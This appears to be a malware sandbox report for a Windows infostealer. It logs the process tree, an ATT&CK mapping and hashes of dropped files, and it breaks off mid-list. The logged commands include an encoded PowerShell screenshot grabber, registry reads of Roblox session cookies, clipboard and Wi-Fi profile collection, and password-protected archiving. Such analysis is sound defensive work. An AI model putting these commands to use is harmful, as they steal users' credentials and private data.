        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        10⤵
        
        PID:3064
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        11⤵
        
        PID:3428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        10⤵
        Clipboard Data
        
        PID:3792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        11⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:4216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        10⤵
        
        PID:2708
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        11⤵
        Enumerates processes with tasklist
        
        PID:3936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1672
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        11⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        10⤵
        
        PID:3036
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        11⤵
        
        PID:1352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe" /v DisplayIcon"
        10⤵
        
        PID:4528
        
        C:\Windows\system32\reg.exe
        
        reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe" /v DisplayIcon
        11⤵
        
        PID:2076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        10⤵
        
        PID:3692
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        11⤵
        Gathers system information
        
        PID:2900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        10⤵
        
        PID:1164
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        11⤵
        
        PID:4816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        10⤵
        
        PID:4648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        11⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4192
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dybcn0et\dybcn0et.cmdline"
        12⤵
        
        PID:2156
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6A2.tmp" "c:\Users\Admin\AppData\Local\Temp\dybcn0et\CSCB612A883CF473789AF3B2947B2D7E.TMP"
        13⤵
        
        PID:4772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        10⤵
        
        PID:1336
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        11⤵
        
        PID:4496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        10⤵
        
        PID:2948
        
        C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        11⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:1044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        10⤵
        
        PID:4040
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        11⤵
        
        PID:3004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        10⤵
        
        PID:2516
        
        C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        11⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:2024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        10⤵
        
        PID:3396
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        11⤵
        
        PID:3912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        10⤵
        
        PID:1656
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        11⤵
        Enumerates processes with tasklist
        
        PID:4484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        10⤵
        
        PID:4996
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        11⤵
        
        PID:4540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        10⤵
        
        PID:1520
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        11⤵
        
        PID:1144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        10⤵
        
        PID:3928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        10⤵
        
        PID:2548
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:3912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        11⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34002\rar.exe a -r -hphai1723ontop "C:\Users\Admin\AppData\Local\Temp\xqDTt.zip" *"
        10⤵
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\_MEI34002\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI34002\rar.exe a -r -hphai1723ontop "C:\Users\Admin\AppData\Local\Temp\xqDTt.zip" *
        11⤵
        Executes dropped EXE
        
        PID:3012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        10⤵
        
        PID:3960
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        11⤵
        
        PID:4528
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        10⤵
        
        PID:1212
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        11⤵
        
        PID:3396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        10⤵
        
        PID:2776
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        11⤵
        
        PID:4576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\loader.cmd

Filesize
174B

MD5
2faba03eec79c9a21db29df7aba57d5c

SHA1
06718c6ed9b68ddb87c2ab58989888d83eadfeb9

SHA256
099bf2cf03840cc69ce5b355fc56180bde231346471ac5edd4b87fe528a1e114

SHA512
96b4f4e465b2e4ab014f54acb43e4416ecc5228e234f6c821b92e4c62e3835ee86ce59ce736d28e30a01962c89489079b4459ba3e52015449871cbe0fb6d1225

Download Submit
C:\ProgramData\Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\loader.exe

Filesize
262KB

MD5
ab039c879a209ec8353239b74762bda6

SHA1
2991df469bb34cba855abc86b9579d44942c9a85

SHA256
35ac2c618b7669edaa4a857fad54fb9580c87bea6eeca498a289e2bf60a23e55

SHA512
4b9aec6cb031f3ccab91a907c005f5a464ce29b4606e215dae7504f237e98f32fa2878aa8b05662765f63e2544241a2f992cf1c9ac163140e5de1d02022a7065

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclient.scr

Filesize
11.6MB

MD5
6a38e035957d63a6478ffade82713be2

SHA1
9ed386b5d7b40937e6db0c7351513db28f39ff9b

SHA256
4e50e4ad5189d7e410eb1bdcce73f0ecdfd4f566a2c71fe7852214904659d30b

SHA512
b50c070b313e1f198a9ea5f44bcdc50e5b85a1dd8e2b066c3209481cd7420fae61ecffb72a3b1a2dbc102a1b6028c15dbfe699ead486441f97b43cafed1d6726

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
24d266adbd931f93b16cccd4629cf0d7

SHA1
67611c5a1fbb242b6b145c52017c30489d5bd1de

SHA256
4d1fb0f061443c242efe97aa111051274348ca152659b45ff5e2fc8c5ac42bb6

SHA512
e189795544a2a995aa96645fbec609e25056f4b049f8bc13712b62da1b2f2013c6849c89f35a97c9ff2e7a1a04f8c621e6c62d1c837d65d447c0d08157c77998

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5389d923d1e6586728ab938e0c982299

SHA1
8e3b1cb4a97e2d5d79435754d12797fe23f78ad0

SHA256
b9bc217f3644a32773c73b8dad104d3e55e4dcb79d933685022356b8ad6470fd

SHA512
03297dd01892313cb76378869dc8dc6056040aeb1088d2896c3b18cd85eccb13a4a9324d58f3b46f04d37a638abfdf9cde3b1aa9b399aa9da3ddb6e337659459

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
17f577fca1da030ee685969ae6c6cd44

SHA1
1ffc23045c542fe57cb6b7ca293e25edb6d16c23

SHA256
997fa645dd72acc49f7090c4e7e2108a818c19fdd0b83f1a38b83c9cc74087a9

SHA512
88599f14a6c69b805ed11e1b6301a19e28269a91bce9d648d73c238e0c9d82434d96b717807a635483e969f33e29a5ee2e990dacbd23f24710c8dc277bc5ac53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c7cbdbf6765e5deb7b6028c227aec4fd

SHA1
59348e638beeb706ad8e2676bc1f6345848812e7

SHA256
60efcae96a5da79087a3009b259d2744f4f1fd57b37c89e619ba149a08e30601

SHA512
40d1b77c2fe78a6e4e73afb9ca6e97a39542ab8712247c2f2e3f7e6bb133d453a5dace5ba10660f4c4d88d3d70dce5e1a73365f27b30eca778e1d07176633f61

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e1998d7d07a2cde3ba7241ee388b36c2

SHA1
c229adffd103824362426c4e3103b7b415426990

SHA256
effdbc6b49698dd85890627cdc91b8594c7ebb0f43cead36843f949a9fa4358b

SHA512
5f0a2b70935ef9d3ef55f32904588d584d1e0fe8d9e0bba1b763304a1b71b2d99c5bf6cfe8327b4505a26cc3f8c72c1946ebc702c998499cce21fa7a84315720

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2a99c12bc18d9cf34c05d0bb099685cb

SHA1
679e4a313949f1e2cd0553c8b9cfbd3aded62b13

SHA256
fda39902bce2f2c343bf3243d50f55444284057205fd2c5c379f265242731003

SHA512
5e154f7dbe3aec7a0da7ae5c32f0eb181ab4649d4722af3d3d069c0b038e483c7e19efcb4e9280b056e0dc699c39f97f36653a279ced22fb611d13bb3c9ea1d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e57dde4424b73f2f24cfd9c99c5a7d6b

SHA1
4cb3d7eb348c4412fab71b54fc238da599a5f81d

SHA256
d9ecfe00f4c9aa6db5c08ef8e184cd3d4fb62173b3d7e3e587c0f8ac7f4f6cc3

SHA512
9f52416924aabcaccdb4d5cf00ad07ec075bfc9b9a75732a870a901e4fa134426de12acd03d8602703d264fa9c32ad4aac172f553951c4943de37813fadbcfcb

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6A2.tmp

Filesize
1KB

MD5
ffa3e17ffd62bfb4ff3b9a8410e88b3a

SHA1
c2f9bcc230f7166f2ad6cbb16e81691fd040a650

SHA256
356f468b3fae95c1a4a6fec8f5f18054ac14fd784192b06a40589e15b1755227

SHA512
5c1b685c34f12a18f41e05505b1a3f1190ef4c06e2db18b3b7f03310dba0702baeca457f0ad695315423ba06cfd339326491209b271c1782322be69411683bb7

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA7F8.tmp

Filesize
1KB

MD5
a12ce84be676286103b279dd96483c0d

SHA1
7e4772f68e950af253c2535d4611ac9cea4aac77

SHA256
376a40e1dba5f109a0b6867a6b24c3c75a5df9aa17126a6093ebb29c9f7d85ca

SHA512
7ddc61a8a4a1bd2ee0e6eea8953698c61dd5c045a7036a7b7a464dfb47352eb3262d0acd4e660386d24e6643a28565d765908ca631185c26579121234aab4ccc

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34002\VCRUNTIME140.dll

Filesize
117KB

MD5
862f820c3251e4ca6fc0ac00e4092239

SHA1
ef96d84b253041b090c243594f90938e9a487a9a

SHA256
36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

SHA512
2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34002\_bz2.pyd

Filesize
48KB

MD5
58fc4c56f7f400de210e98ccb8fdc4b2

SHA1
12cb7ec39f3af0947000295f4b50cbd6e7436554

SHA256
